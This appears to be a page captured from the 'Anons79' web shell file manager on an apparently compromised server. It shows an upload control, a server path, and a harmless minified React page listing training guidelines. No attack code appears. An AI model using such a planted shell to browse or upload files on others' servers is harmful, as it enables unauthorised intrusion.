Anons79 Mini Shell

Directory : /home/aplikasiposinfo/.trash/build.1/assets/
Upload File :
Current File : /home/aplikasiposinfo/.trash/build.1/assets/JuknisPelatihan-BdUbGFYJ.js

import{r as b,X as l,j as s,S as u}from"./app-Dqm4owHT.js";import{C as N,a as f,b as T,c as g}from"./card-doxYxJEC.js";/* empty css                */import{T as v,a as w,b as i,c as C,d as k,e as m}from"./table-eMEisCI4.js";import{T as S,u as y}from"./useSorting-DDBwXgpG.js";import{u as P,T as H,a as D}from"./useDebouncedSearch-B9qwQSuS.js";import{G as J}from"./GuestLayout--0b5oeAX.js";import"./index-Ebf2_-ZL.js";import"./index-D3BPeFjX.js";import"./button-B8ZzRKBh.js";import"./createLucideIcon-Cc-ke-6N.js";import"./chevron-left-DLAYlVa1.js";import"./chevron-right-Da1NFNyx.js";import"./input-BnJy4BfI.js";import"./select-BqCbOS6A.js";import"./Combination-DterT_Fn.js";import"./index-HNzDpnpF.js";import"./index-BbqwfHyN.js";import"./index-CZi-LSRR.js";import"./toaster-D9vdlzAC.js";import"./x-DjRPG20W.js";import"./graduation-cap-CAt1NeIc.js";function ss(){const[r,x]=b.useState(-1),{filters:o}=l().props,h=l().props.datatable,{data:n,links:p}=l().props.datatable,{params:a,setParams:c,setTimeDebounce:d}=P(route(`${route().current()}`),o),{sort:j}=y(o,c);return s.jsx(J,{children:s.jsxs("div",{className:"min-h-screen bg-gray-50",children:[s.jsx(u,{title:"Home"}),s.jsxs(N,{className:"container mx-auto overflow-hidden mb-4",children:[s.jsx(f,{className:"bg-blue-500 text-white  ",children:s.jsx(T,{children:s.jsx("h1",{children:"Juknis Pelatihan"})})}),s.jsxs(g,{className:"h-[600px] py-6",children:[s.jsxs("div",{className:"space-y-4",children:[s.jsx(H,{placeholder:"Cari Juknis Pelatihan",search:a.search,params:a,setParams:c,setTimeDebounce:d}),s.jsx("div",{className:"",children:s.jsxs(v,{children:[s.jsx(w,{children:s.jsx(i,{children:s.jsx(C,{children:s.jsx(S,{className:"",title:"Nama",onClick:()=>{d(50),j("nama")},sort:a.col==="start_date"?a.sort:"desc"})})})}),s.jsx(k,{children:n.length>0?n.map((t,e)=>s.jsx(i,{className:"bg-white",children:s.jsx(m,{children:s.jsxs("div",{className:"list",children:[s.jsx("div",{className:"bg-slate-100 p-5",children:s.jsxs("div",{className:"flex justify-between items-center",children:[s.jsx("div",{className:"p-1",children:t.nama}),s.jsx("button",{className:"text-3xl font-bold p-1",onClick:()=>x(r===e?0:e),children:r===e?"−":"+"})]})}),r===e&&s.jsx("div",{className:"bg-slate-200 w-[95%] mx-auto p-5",children:s.jsxs("div",{className:"flex justify-between",children:[s.jsx("div",{className:"font-bold",children:t.nama}),s.jsx("a",{href:route("juknis-pelatihan.download",{id:t.id}),target:"_blank",className:"download text-red-600 font-bold",children:"Download"})]})})]},e)})},t.id)):s.jsx(i,{children:s.jsx(m,{colSpan:6,className:"h-24 text-center bg-white",children:"No results found."})})})]})}),s.jsx(D,{links:p,meta:h})]}),s.jsx("br",{})]})]})]})})}export{ss as default};

Anons79 File Manager Version 1.0, Coded By Anons79
Email: [email protected]